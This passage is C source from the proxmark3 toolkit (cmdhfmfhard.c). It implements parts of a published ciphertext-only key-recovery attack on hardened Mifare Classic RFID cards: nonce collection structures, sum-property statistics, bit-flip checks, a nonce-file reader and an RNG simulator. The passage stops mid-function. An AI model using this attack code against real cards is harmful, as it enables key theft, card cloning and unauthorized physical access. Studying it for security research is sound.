]> cvs.zerfleddert.de Git - proxmark3-svn/blob - client/cmdhfmfhard.c
projects / proxmark3-svn / blob
? search:
summary | shortlog | log | commit | commitdiff | tree
blame | history | raw | HEAD
FIX: there were no "memfree" call, there were only "free"
[proxmark3-svn] / client / cmdhfmfhard.c
1 //-----------------------------------------------------------------------------
2 // Copyright (C) 2015 piwi
3 // fiddled with 2016 Azcid (hardnested bitsliced Bruteforce imp)
4 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
5 // at your option, any later version. See the LICENSE.txt file for the text of
6 // the license.
7 //-----------------------------------------------------------------------------
8 // Implements a card only attack based on crypto text (encrypted nonces
9 // received during a nested authentication) only. Unlike other card only
10 // attacks this doesn't rely on implementation errors but only on the
11 // inherent weaknesses of the crypto1 cypher. Described in
12 // Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
13 // Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
14 // Computer and Communications Security, 2015
15 //-----------------------------------------------------------------------------
16
17 #include <stdlib.h>
18 #include <stdio.h>
19 #include <string.h>
20 #include <pthread.h>
21 #include <locale.h>
22 #include <math.h>
23 #include "proxmark3.h"
24 #include "cmdmain.h"
25 #include "ui.h"
26 #include "util.h"
27 #include "nonce2key/crapto1.h"
28 #include "nonce2key/crypto1_bs.h"
29 #include "parity.h"
30 #ifdef __WIN32
31 #include <windows.h>
32 #endif
33 #include <malloc.h>
34 #include <assert.h>
35
36 // uint32_t test_state_odd = 0;
37 // uint32_t test_state_even = 0;
38
39 #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough that the following brute force is successfull
40 #define GOOD_BYTES_REQUIRED 28
41
42 static const float p_K[257] = { // the probability that a random nonce has a Sum Property == K
43 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
44 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
45 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
46 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
47 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
48 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
49 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
50 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
51 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
52 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
53 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
54 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
55 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
56 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
57 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
58 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
59 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
60 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
61 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
62 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
63 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
64 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
65 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
66 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
67 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
68 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
69 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
70 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
71 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
72 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
73 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
74 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
75 0.0290 };
76
77
78 typedef struct noncelistentry {
79 uint32_t nonce_enc;
80 uint8_t par_enc;
81 void *next;
82 } noncelistentry_t;
83
84 typedef struct noncelist {
85 uint16_t num;
86 uint16_t Sum;
87 uint16_t Sum8_guess;
88 uint8_t BitFlip[2];
89 float Sum8_prob;
90 bool updated;
91 noncelistentry_t *first;
92 float score1, score2;
93 } noncelist_t;
94
95
96 static size_t nonces_to_bruteforce = 0;
97 static noncelistentry_t *brute_force_nonces[256];
98 static uint32_t cuid = 0;
99 static noncelist_t nonces[256];
100 static uint8_t best_first_bytes[256];
101 static uint16_t first_byte_Sum = 0;
102 static uint16_t first_byte_num = 0;
103 static uint16_t num_good_first_bytes = 0;
104 static uint64_t maximum_states = 0;
105 static uint64_t known_target_key;
106 static bool write_stats = false;
107 static FILE *fstats = NULL;
108
109
110 typedef enum {
111 EVEN_STATE = 0,
112 ODD_STATE = 1
113 } odd_even_t;
114
115 #define STATELIST_INDEX_WIDTH 16
116 #define STATELIST_INDEX_SIZE (1<<STATELIST_INDEX_WIDTH)
117
118 typedef struct {
119 uint32_t *states[2];
120 uint32_t len[2];
121 uint32_t *index[2][STATELIST_INDEX_SIZE];
122 } partial_indexed_statelist_t;
123
124 typedef struct {
125 uint32_t *states[2];
126 uint32_t len[2];
127 void* next;
128 } statelist_t;
129
130
131 static partial_indexed_statelist_t partial_statelist[17];
132 static partial_indexed_statelist_t statelist_bitflip;
133
134 static statelist_t *candidates = NULL;
135
136
137 static int add_nonce(uint32_t nonce_enc, uint8_t par_enc)
138 {
139 uint8_t first_byte = nonce_enc >> 24;
140 noncelistentry_t *p1 = nonces[first_byte].first;
141 noncelistentry_t *p2 = NULL;
142
143 if (p1 == NULL) { // first nonce with this 1st byte
144 first_byte_num++;
145 first_byte_Sum += evenparity32((nonce_enc & 0xff000000) | (par_enc & 0x08));
146 // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n",
147 // nonce_enc,
148 // par_enc,
149 // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01,
150 // parity((nonce_enc & 0xff000000) | (par_enc & 0x08));
151 }
152
153 while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) {
154 p2 = p1;
155 p1 = p1->next;
156 }
157
158 if (p1 == NULL) { // need to add at the end of the list
159 if (p2 == NULL) { // list is empty yet. Add first entry.
160 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
161 } else { // add new entry at end of existing list.
162 p2 = p2->next = malloc(sizeof(noncelistentry_t));
163 }
164 } else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert.
165 if (p2 == NULL) { // need to insert at start of list
166 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
167 } else {
168 p2 = p2->next = malloc(sizeof(noncelistentry_t));
169 }
170 } else { // we have seen this 2nd byte before. Nothing to add or insert.
171 return (0);
172 }
173
174 // add or insert new data
175 p2->next = p1;
176 p2->nonce_enc = nonce_enc;
177 p2->par_enc = par_enc;
178
179 if(nonces_to_bruteforce < 256){
180 brute_force_nonces[nonces_to_bruteforce] = p2;
181 nonces_to_bruteforce++;
182 }
183
184 nonces[first_byte].num++;
185 nonces[first_byte].Sum += evenparity32((nonce_enc & 0x00ff0000) | (par_enc & 0x04));
186 nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte
187
188 return (1); // new nonce added
189 }
190
191 static void init_nonce_memory(void)
192 {
193 for (uint16_t i = 0; i < 256; i++) {
194 nonces[i].num = 0;
195 nonces[i].Sum = 0;
196 nonces[i].Sum8_guess = 0;
197 nonces[i].Sum8_prob = 0.0;
198 nonces[i].updated = true;
199 nonces[i].first = NULL;
200 }
201 first_byte_num = 0;
202 first_byte_Sum = 0;
203 num_good_first_bytes = 0;
204 }
205
206
207 static void free_nonce_list(noncelistentry_t *p)
208 {
209 if (p == NULL) {
210 return;
211 } else {
212 free_nonce_list(p->next);
213 free(p);
214 }
215 }
216
217 static void free_nonces_memory(void)
218 {
219 for (uint16_t i = 0; i < 256; i++) {
220 free_nonce_list(nonces[i].first);
221 }
222 }
223
224 static uint16_t PartialSumProperty(uint32_t state, odd_even_t odd_even)
225 {
226 uint16_t sum = 0;
227 for (uint16_t j = 0; j < 16; j++) {
228 uint32_t st = state;
229 uint16_t part_sum = 0;
230 if (odd_even == ODD_STATE) {
231 for (uint16_t i = 0; i < 5; i++) {
232 part_sum ^= filter(st);
233 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
234 }
235 part_sum ^= 1; // XOR 1 cancelled out for the other 8 bits
236 } else {
237 for (uint16_t i = 0; i < 4; i++) {
238 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
239 part_sum ^= filter(st);
240 }
241 }
242 sum += part_sum;
243 }
244 return sum;
245 }
246
247 // static uint16_t SumProperty(struct Crypto1State *s)
248 // {
249 // uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE);
250 // uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE);
251 // return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even);
252 // }
253
254 static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k)
255 {
256 // for efficient computation we are using the recursive definition
257 // (K-k+1) * (n-k+1)
258 // P(X=k) = P(X=k-1) * --------------------
259 // k * (N-K-n+k)
260 // and
261 // (N-K)*(N-K-1)*...*(N-K-n+1)
262 // P(X=0) = -----------------------------
263 // N*(N-1)*...*(N-n+1)
264
265 if (n-k > N-K || k > K) return 0.0; // avoids log(x<=0) in calculation below
266 if (k == 0) {
267 // use logarithms to avoid overflow with huge factorials (double type can only hold 170!)
268 double log_result = 0.0;
269 for (int16_t i = N-K; i >= N-K-n+1; i--) {
270 log_result += log(i);
271 }
272 for (int16_t i = N; i >= N-n+1; i--) {
273 log_result -= log(i);
274 }
275 return exp(log_result);
276 } else {
277 if (n-k == N-K) { // special case. The published recursion below would fail with a divide by zero exception
278 double log_result = 0.0;
279 for (int16_t i = k+1; i <= n; i++) {
280 log_result += log(i);
281 }
282 for (int16_t i = K+1; i <= N; i++) {
283 log_result -= log(i);
284 }
285 return exp(log_result);
286 } else { // recursion
287 return (p_hypergeometric(N, K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k)));
288 }
289 }
290 }
291
292 static float sum_probability(uint16_t K, uint16_t n, uint16_t k)
293 {
294 const uint16_t N = 256;
295
296 if (k > K || p_K[K] == 0.0) return 0.0;
297
298 double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k);
299 double p_S_is_K = p_K[K];
300 double p_T_is_k = 0;
301 for (uint16_t i = 0; i <= 256; i++) {
302 if (p_K[i] != 0.0) {
303 p_T_is_k += p_K[i] * p_hypergeometric(N, i, n, k);
304 }
305 }
306 return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k);
307 }
308
309
310 static inline uint_fast8_t common_bits(uint_fast8_t bytes_diff)
311 {
312 static const uint_fast8_t common_bits_LUT[256] = {
313 8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
314 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
315 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
316 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
317 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
318 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
319 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
320 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
321 7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
322 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
323 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
324 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
325 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
326 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
327 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
328 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0
329 };
330
331 return common_bits_LUT[bytes_diff];
332 }
333
334 static void Tests()
335 {
336 // printf("Tests: Partial Statelist sizes\n");
337 // for (uint16_t i = 0; i <= 16; i+=2) {
338 // printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]);
339 // }
340 // for (uint16_t i = 0; i <= 16; i+=2) {
341 // printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]);
342 // }
343
344 // #define NUM_STATISTICS 100000
345 // uint32_t statistics_odd[17];
346 // uint64_t statistics[257];
347 // uint32_t statistics_even[17];
348 // struct Crypto1State cs;
349 // time_t time1 = clock();
350
351 // for (uint16_t i = 0; i < 257; i++) {
352 // statistics[i] = 0;
353 // }
354 // for (uint16_t i = 0; i < 17; i++) {
355 // statistics_odd[i] = 0;
356 // statistics_even[i] = 0;
357 // }
358
359 // for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
360 // cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
361 // cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
362 // uint16_t sum_property = SumProperty(&cs);
363 // statistics[sum_property] += 1;
364 // sum_property = PartialSumProperty(cs.even, EVEN_STATE);
365 // statistics_even[sum_property]++;
366 // sum_property = PartialSumProperty(cs.odd, ODD_STATE);
367 // statistics_odd[sum_property]++;
368 // if (i%(NUM_STATISTICS/100) == 0) printf(".");
369 // }
370
371 // printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC);
372 // for (uint16_t i = 0; i < 257; i++) {
373 // if (statistics[i] != 0) {
374 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS);
375 // }
376 // }
377 // for (uint16_t i = 0; i <= 16; i++) {
378 // if (statistics_odd[i] != 0) {
379 // printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS);
380 // }
381 // }
382 // for (uint16_t i = 0; i <= 16; i++) {
383 // if (statistics_odd[i] != 0) {
384 // printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS);
385 // }
386 // }
387
388 // printf("Tests: Sum Probabilities based on Partial Sums\n");
389 // for (uint16_t i = 0; i < 257; i++) {
390 // statistics[i] = 0;
391 // }
392 // uint64_t num_states = 0;
393 // for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) {
394 // for (uint16_t evensum = 0; evensum <= 16; evensum += 2) {
395 // uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum;
396 // statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
397 // num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
398 // }
399 // }
400 // printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48));
401 // for (uint16_t i = 0; i < 257; i++) {
402 // if (statistics[i] != 0) {
403 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states);
404 // }
405 // }
406
407 // printf("\nTests: Hypergeometric Probability for selected parameters\n");
408 // printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206));
409 // printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205));
410 // printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1));
411 // printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0));
412 // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1));
413 // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0));
414
415 // struct Crypto1State *pcs;
416 // pcs = crypto1_create(0xffffffffffff);
417 // printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
418 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
419 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
420 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
421 // best_first_bytes[0],
422 // SumProperty(pcs),
423 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
424 // //test_state_odd = pcs->odd & 0x00ffffff;
425 // //test_state_even = pcs->even & 0x00ffffff;
426 // crypto1_destroy(pcs);
427 // pcs = crypto1_create(0xa0a1a2a3a4a5);
428 // printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
429 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
430 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
431 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
432 // best_first_bytes[0],
433 // SumProperty(pcs),
434 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
435 // //test_state_odd = pcs->odd & 0x00ffffff;
436 // //test_state_even = pcs->even & 0x00ffffff;
437 // crypto1_destroy(pcs);
438 // pcs = crypto1_create(0xa6b9aa97b955);
439 // printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
440 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
441 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
442 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
443 // best_first_bytes[0],
444 // SumProperty(pcs),
445 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
446 //test_state_odd = pcs->odd & 0x00ffffff;
447 //test_state_even = pcs->even & 0x00ffffff;
448 // crypto1_destroy(pcs);
449
450
451
452 // printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20));
453
454 printf("\nTests: Actual BitFlipProperties odd/even:\n");
455 for (uint16_t i = 0; i < 256; i++) {
456 printf("[%02x]:%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':nonces[i].BitFlip[EVEN_STATE]?'e':' ');
457 if (i % 8 == 7) {
458 printf("\n");
459 }
460 }
461
462 printf("\nTests: Sorted First Bytes:\n");
463 for (uint16_t i = 0; i < 256; i++) {
464 uint8_t best_byte = best_first_bytes[i];
465 printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c\n",
466 //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c, score1: %1.5f, score2: %1.0f\n",
467 i, best_byte,
468 nonces[best_byte].num,
469 nonces[best_byte].Sum,
470 nonces[best_byte].Sum8_guess,
471 nonces[best_byte].Sum8_prob * 100,
472 nonces[best_byte].BitFlip[ODD_STATE]?'o':nonces[best_byte].BitFlip[EVEN_STATE]?'e':' '
473 //nonces[best_byte].score1,
474 //nonces[best_byte].score2
475 );
476 }
477
478 // printf("\nTests: parity performance\n");
479 // time_t time1p = clock();
480 // uint32_t par_sum = 0;
481 // for (uint32_t i = 0; i < 100000000; i++) {
482 // par_sum += parity(i);
483 // }
484 // printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
485
486 // time1p = clock();
487 // par_sum = 0;
488 // for (uint32_t i = 0; i < 100000000; i++) {
489 // par_sum += evenparity32(i);
490 // }
491 // printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
492
493
494 }
495
496 static void sort_best_first_bytes(void)
497 {
498 // sort based on probability for correct guess
499 for (uint16_t i = 0; i < 256; i++ ) {
500 uint16_t j = 0;
501 float prob1 = nonces[i].Sum8_prob;
502 float prob2 = nonces[best_first_bytes[0]].Sum8_prob;
503 while (prob1 < prob2 && j < i) {
504 prob2 = nonces[best_first_bytes[++j]].Sum8_prob;
505 }
506 if (j < i) {
507 for (uint16_t k = i; k > j; k--) {
508 best_first_bytes[k] = best_first_bytes[k-1];
509 }
510 }
511 best_first_bytes[j] = i;
512 }
513
514 // determine how many are above the CONFIDENCE_THRESHOLD
515 uint16_t num_good_nonces = 0;
516 for (uint16_t i = 0; i < 256; i++) {
517 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
518 ++num_good_nonces;
519 }
520 }
521
522 uint16_t best_first_byte = 0;
523
524 // select the best possible first byte based on number of common bits with all {b'}
525 // uint16_t max_common_bits = 0;
526 // for (uint16_t i = 0; i < num_good_nonces; i++) {
527 // uint16_t sum_common_bits = 0;
528 // for (uint16_t j = 0; j < num_good_nonces; j++) {
529 // if (i != j) {
530 // sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]);
531 // }
532 // }
533 // if (sum_common_bits > max_common_bits) {
534 // max_common_bits = sum_common_bits;
535 // best_first_byte = i;
536 // }
537 // }
538
539 // select best possible first byte {b} based on least likely sum/bitflip property
540 float min_p_K = 1.0;
541 for (uint16_t i = 0; i < num_good_nonces; i++ ) {
542 uint16_t sum8 = nonces[best_first_bytes[i]].Sum8_guess;
543 float bitflip_prob = 1.0;
544 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
545 bitflip_prob = 0.09375;
546 }
547 nonces[best_first_bytes[i]].score1 = p_K[sum8] * bitflip_prob;
548 if (p_K[sum8] * bitflip_prob <= min_p_K) {
549 min_p_K = p_K[sum8] * bitflip_prob;
550 }
551 }
552
553
554 // use number of commmon bits as a tie breaker
555 uint16_t max_common_bits = 0;
556 for (uint16_t i = 0; i < num_good_nonces; i++) {
557 float bitflip_prob = 1.0;
558 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
559 bitflip_prob = 0.09375;
560 }
561 if (p_K[nonces[best_first_bytes[i]].Sum8_guess] * bitflip_prob == min_p_K) {
562 uint16_t sum_common_bits = 0;
563 for (uint16_t j = 0; j < num_good_nonces; j++) {
564 sum_common_bits += common_bits(best_first_bytes[i] ^ best_first_bytes[j]);
565 }
566 nonces[best_first_bytes[i]].score2 = sum_common_bits;
567 if (sum_common_bits > max_common_bits) {
568 max_common_bits = sum_common_bits;
569 best_first_byte = i;
570 }
571 }
572 }
573
574 // swap best possible first byte to the pole position
575 uint16_t temp = best_first_bytes[0];
576 best_first_bytes[0] = best_first_bytes[best_first_byte];
577 best_first_bytes[best_first_byte] = temp;
578
579 }
580
581 static uint16_t estimate_second_byte_sum(void)
582 {
583
584 for (uint16_t first_byte = 0; first_byte < 256; first_byte++) {
585 float Sum8_prob = 0.0;
586 uint16_t Sum8 = 0;
587 if (nonces[first_byte].updated) {
588 for (uint16_t sum = 0; sum <= 256; sum++) {
589 float prob = sum_probability(sum, nonces[first_byte].num, nonces[first_byte].Sum);
590 if (prob > Sum8_prob) {
591 Sum8_prob = prob;
592 Sum8 = sum;
593 }
594 }
595 nonces[first_byte].Sum8_guess = Sum8;
596 nonces[first_byte].Sum8_prob = Sum8_prob;
597 nonces[first_byte].updated = false;
598 }
599 }
600
601 sort_best_first_bytes();
602
603 uint16_t num_good_nonces = 0;
604 for (uint16_t i = 0; i < 256; i++) {
605 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
606 ++num_good_nonces;
607 }
608 }
609
610 return num_good_nonces;
611 }
612
613 static int read_nonce_file(void)
614 {
615 FILE *fnonces = NULL;
616 uint8_t trgBlockNo;
617 uint8_t trgKeyType;
618 uint8_t read_buf[9];
619 uint32_t nt_enc1, nt_enc2;
620 uint8_t par_enc;
621 int total_num_nonces = 0;
622
623 if ((fnonces = fopen("nonces.bin","rb")) == NULL) {
624 PrintAndLog("Could not open file nonces.bin");
625 return 1;
626 }
627
628 PrintAndLog("Reading nonces from file nonces.bin...");
629 size_t bytes_read = fread(read_buf, 1, 6, fnonces);
630 if ( bytes_read == 0) {
631 PrintAndLog("File reading error.");
632 fclose(fnonces);
633 return 1;
634 }
635 cuid = bytes_to_num(read_buf, 4);
636 trgBlockNo = bytes_to_num(read_buf+4, 1);
637 trgKeyType = bytes_to_num(read_buf+5, 1);
638
639 while (fread(read_buf, 1, 9, fnonces) == 9) {
640 nt_enc1 = bytes_to_num(read_buf, 4);
641 nt_enc2 = bytes_to_num(read_buf+4, 4);
642 par_enc = bytes_to_num(read_buf+8, 1);
643 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
644 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
645 add_nonce(nt_enc1, par_enc >> 4);
646 add_nonce(nt_enc2, par_enc & 0x0f);
647 total_num_nonces += 2;
648 }
649 fclose(fnonces);
650 PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces, cuid, trgBlockNo, trgKeyType==0?'A':'B');
651
652 return 0;
653 }
654
655 static void Check_for_FilterFlipProperties(void)
656 {
657 printf("Checking for Filter Flip Properties...\n");
658
659 uint16_t num_bitflips = 0;
660
661 for (uint16_t i = 0; i < 256; i++) {
662 nonces[i].BitFlip[ODD_STATE] = false;
663 nonces[i].BitFlip[EVEN_STATE] = false;
664 }
665
666 for (uint16_t i = 0; i < 256; i++) {
667 uint8_t parity1 = (nonces[i].first->par_enc) >> 3; // parity of first byte
668 uint8_t parity2_odd = (nonces[i^0x80].first->par_enc) >> 3; // XOR 0x80 = last bit flipped
669 uint8_t parity2_even = (nonces[i^0x40].first->par_enc) >> 3; // XOR 0x40 = second last bit flipped
670
671 if (parity1 == parity2_odd) { // has Bit Flip Property for odd bits
672 nonces[i].BitFlip[ODD_STATE] = true;
673 num_bitflips++;
674 } else if (parity1 == parity2_even) { // has Bit Flip Property for even bits
675 nonces[i].BitFlip[EVEN_STATE] = true;
676 num_bitflips++;
677 }
678 }
679
680 if (write_stats) {
681 fprintf(fstats, "%d;", num_bitflips);
682 }
683 }
684
685 static void simulate_MFplus_RNG(uint32_t test_cuid, uint64_t test_key, uint32_t *nt_enc, uint8_t *par_enc)
686 {
687 struct Crypto1State sim_cs = {0, 0};
688 // init cryptostate with key:
689 for(int8_t i = 47; i > 0; i -= 2) {
690 sim_cs.odd = sim_cs.odd << 1 | BIT(test_key, (i - 1) ^ 7);
691 sim_cs.even = sim_cs.even << 1 | BIT(test_key, i ^ 7);
692 }
693
694 *par_enc = 0;
695 uint32_t nt = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
696 for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) {
697 uint8_t nt_byte_dec = (nt >> (8*byte_pos)) & 0xff;
698 uint8_t nt_byte_enc = crypto1_byte(&sim_cs, nt_byte_dec ^ (test_cuid >> (8*byte_pos)), false) ^ nt_byte_dec; // encode the nonce byte
699 *nt_enc = (*nt_enc << 8) | nt_byte_enc;
700 uint8_t ks_par = filter(sim_cs.odd); // the keystream bit to encode/decode the parity bit
701 uint8_t nt_byte_par_enc = ks_par ^ oddparity8(nt_byte_dec); // determine the nt byte's parity and encode it
702 *par_enc = (*par_enc << 1) | nt_byte_par_enc;
703 }
704
705 }
706
707 static void simulate_acquire_nonces()
708 {
709 clock_t time1 = clock();
710 bool filter_flip_checked = false;
711 uint32_t total_num_nonces = 0;
712 uint32_t next_fivehundred = 500;
713 uint32_t total_added_nonces = 0;
714
